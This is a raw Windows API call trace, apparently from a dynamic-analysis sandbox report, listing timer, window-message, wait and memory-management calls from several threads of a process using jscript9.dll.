[0211.378] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.378] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d94b45, lParam=0x3d09) returned 1
[0211.378] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014612096949) returned 1
[0211.394] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014613655535) returned 1
[0211.394] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.394] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d989eb, lParam=0x3d09) returned 1
[0211.394] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014613703022) returned 1
[0211.410] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014615250983) returned 1
[0211.410] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.410] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4d9c83d, lParam=0x3d09) returned 1
[0211.410] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014615294733) returned 1
[0211.561] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014630389129) returned 1
[0211.561] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.562] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4dc1793, lParam=0x3d09) returned 1
[0211.562] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014630425165) returned 1
[0211.608] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014635012014) returned 1
[0211.608] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.608] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4dccc28, lParam=0x3d09) returned 1
[0211.608] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014635053581) returned 1
[0211.608] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014635104357) returned 1
[0211.609] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0211.609] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4dccfc3, lParam=0x3d09) returned 1
[0211.609] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014635141029) returned 1
[0212.019] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014676143498) returned 1
[0212.019] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.019] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4e312da, lParam=0x3d09) returned 1
[0212.020] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014676220968) returned 1
[0212.026] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014676875491) returned 1
[0212.026] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.026] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4e32f72, lParam=0x3d09) returned 1
[0212.027] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014676911141) returned 1
[0212.042] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014678452321) returned 1
[0212.042] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.042] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4e36d0b, lParam=0x3d09) returned 1
[0212.042] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014678484508) returned 1
[0212.058] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014680024301) returned 1
[0212.058] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.058] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4e3aa73, lParam=0x3d09) returned 1
[0212.058] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014680071352) returned 1
[0212.074] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014681622828) returned 1
[0212.074] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.074] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4e3e8e4, lParam=0x3d09) returned 1
[0212.074] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014681656177) returned 1
[0212.090] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014683227766) returned 1
[0212.090] WaitForMultipleObjects (nCount=0x2, lpHandles=0x6aefe6c*=0x310, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0
[0212.090] WaitForMultipleObjects (nCount=0x2, lpHandles=0x6aefe6c*=0x310, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1
[0212.091] WaitForMultipleObjects (nCount=0x2, lpHandles=0x6aefe6c*=0x310, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1
[0212.209] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014695122569) returned 1
[0212.219] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014696113776) returned 1
[0212.219] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.219] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4e61ef1, lParam=0x3d09) returned 1
[0212.219] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014696149490) returned 1
[0212.234] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014697663445) returned 1
[0212.234] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.234] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4e65b7a, lParam=0x3d09) returned 1
[0212.234] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014697698794) returned 1
[0212.250] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014699260819) returned 1
[0212.250] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.250] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4e699e0, lParam=0x3d09) returned 1
[0212.251] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014699306017) returned 1
[0212.266] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014700863169) returned 1
[0212.266] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.266] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4e6d877, lParam=0x3d09) returned 1
[0212.266] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014700901414) returned 1
[0212.282] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014702469269) returned 1
[0212.282] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.282] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4e71734, lParam=0x3d09) returned 1
[0212.283] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014702511639) returned 1
[0212.300] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014704304539) returned 1
[0212.301] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.301] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4e75ee5, lParam=0x3d09) returned 1
[0212.301] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014704350544) returned 1
[0212.316] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014705863815) returned 1
[0212.316] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.316] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4e79bce, lParam=0x3d09) returned 1
[0212.317] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014705907606) returned 1
[0212.332] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014707475752) returned 1
[0212.332] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.332] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4e7dac5, lParam=0x3d09) returned 1
[0212.333] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014707518822) returned 1
[0212.348] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014709065057) returned 1
[0212.348] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.348] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4e818da, lParam=0x3d09) returned 1
[0212.349] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014709107161) returned 1
[0212.364] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014710659418) returned 1
[0212.364] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.364] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4e85722, lParam=0x3d09) returned 1
[0212.365] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014710710825) returned 1
[0212.380] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014712266183) returned 1
[0212.380] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.380] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4e895e5, lParam=0x3d09) returned 1
[0212.381] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014712312035) returned 1
[0212.396] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014713867216) returned 1
[0212.396] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.396] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4e8d470, lParam=0x3d09) returned 1
[0212.397] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014713911306) returned 1
[0212.412] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014715450681) returned 1
[0212.412] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.412] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4e9124a, lParam=0x3d09) returned 1
[0212.412] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014715494880) returned 1
[0212.428] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014717051879) returned 1
[0212.428] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.428] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4e950d6, lParam=0x3d09) returned 1
[0212.428] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014717102283) returned 1
[0212.444] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014718657887) returned 1
[0212.444] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.445] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4e98f92, lParam=0x3d09) returned 1
[0212.445] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014718746809) returned 1
[0212.460] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014720246808) returned 1
[0212.460] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.460] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4e9cda4, lParam=0x3d09) returned 1
[0212.460] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014720302528) returned 1
[0212.483] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014722537460) returned 1
[0212.483] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.483] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4ea271e, lParam=0x3d09) returned 1
[0212.483] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014722588181) returned 1
[0212.498] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014724050749) returned 1
[0212.498] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0212.498] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4ea623b, lParam=0x3d09) returned 1
[0212.498] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014724095574) returned 1
[0213.029] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014777161369) returned 1
[0213.029] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0213.029] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4f27cdd, lParam=0x3d09) returned 1
[0213.029] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014777201021) returned 1
[0213.030] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014777278530) returned 1
[0213.030] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0213.030] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4f28171, lParam=0x3d09) returned 1
[0213.031] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014777317377) returned 1
[0213.037] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3014777930000) returned 1
[0213.037] WaitForMultipleObjects (nCount=0x2, lpHandles=0x6aefe6c*=0x310, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1
[0213.037] WaitForMultipleObjects (nCount=0x2, lpHandles=0x6aefe6c*=0x310, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0
[0214.541] RtlTryEnterCriticalSection (CriticalSection=0x6d299fe8) returned 1
[0214.542] GetCurrentThreadId () returned 0xd04
Thread:
id = 40
os_tid = 0x150
[0197.350] GetCurrentThreadId () returned 0x150
Thread:
id = 41
os_tid = 0x328
[0197.417] GetCurrentThreadId () returned 0x328
Thread:
id = 42
os_tid = 0xe4c
[0197.418] GetCurrentThreadId () returned 0xe4c
Thread:
id = 43
os_tid = 0xc90
[0198.838] GetCurrentThreadId () returned 0xc90
[0198.842] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="C:\\Windows\\SYSTEM32\\jscript9.dll", phModule=0x73fff00 | out: phModule=0x73fff00*=0x6cf50000) returned 1
[0198.843] SetEvent (hEvent=0x38c) returned 1
[0198.853] GetCurrentThread () returned 0xfffffffe
[0198.853] SetThreadPriority (hThread=0xfffffffe, nPriority=-1) returned 1
[0203.669] GetTickCount () returned 0x1ca4c7c
[0203.669] VirtualFree (lpAddress=0x736b000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0203.669] VirtualFree (lpAddress=0x736d000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0203.670] GetTickCount () returned 0x1ca4c7c
[0203.670] RtlInterlockedPopEntrySList (in: ListHead=0x630e1b8 | out: ListHead=0x630e1b8) returned 0x0
[0203.670] RtlInterlockedPopEntrySList (in: ListHead=0x630e198 | out: ListHead=0x630e198) returned 0x0
[0203.670] VirtualFree (lpAddress=0x9685000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0203.670] VirtualFree (lpAddress=0x9686000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0203.670] VirtualFree (lpAddress=0x9687000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0203.671] VirtualFree (lpAddress=0x9688000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0203.671] VirtualFree (lpAddress=0x9689000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0203.671] VirtualFree (lpAddress=0x968a000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0203.671] VirtualFree (lpAddress=0x968b000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0203.672] VirtualFree (lpAddress=0x968c000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0203.672] VirtualFree (lpAddress=0x968d000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0203.672] VirtualFree (lpAddress=0x968e000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0203.672] VirtualFree (lpAddress=0x968f000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0203.673] VirtualFree (lpAddress=0x759f000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0203.673] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x73ffef8*=0x390, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0
[0210.720] ResetWriteWatch (lpBaseAddress=0x7400000, dwRegionSize=0x5000) returned 0x0
[0210.720] ResetWriteWatch (lpBaseAddress=0x7406000, dwRegionSize=0x1a000) returned 0x0
[0210.720] ResetWriteWatch (lpBaseAddress=0x7580000, dwRegionSize=0x20000) returned 0x0
[0210.720] ResetWriteWatch (lpBaseAddress=0x9670000, dwRegionSize=0x15000) returned 0x0
[0210.724] malloc (_Size=0x30) returned 0x6367ef0
[0210.724] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x9750000
[0210.725] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x759f000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.725] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x9684000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.725] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x9683000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.725] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x9676000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.725] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x9675000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.725] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x759e000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.725] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x759d000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.725] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x759c000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.725] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x759b000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.725] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x759a000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.725] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7594000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.725] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x758d000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.725] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x758b000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.726] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7586000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.726] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7585000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.726] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7582000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.726] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7581000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.726] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7580000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.726] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x741b000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.726] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7419000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.726] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7414000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.726] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x7411000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.726] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x740e000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.726] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x740d000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
[0210.726] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x740c000, dwRegionSize=0x1000, lpAddresses=0x73ffe20, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24 | out: lpAddresses=0x73ffe20*=0x74050ac, lpdwCount=0x73ffe28, lpdwGranularity=0x73ffe24) returned 0x0
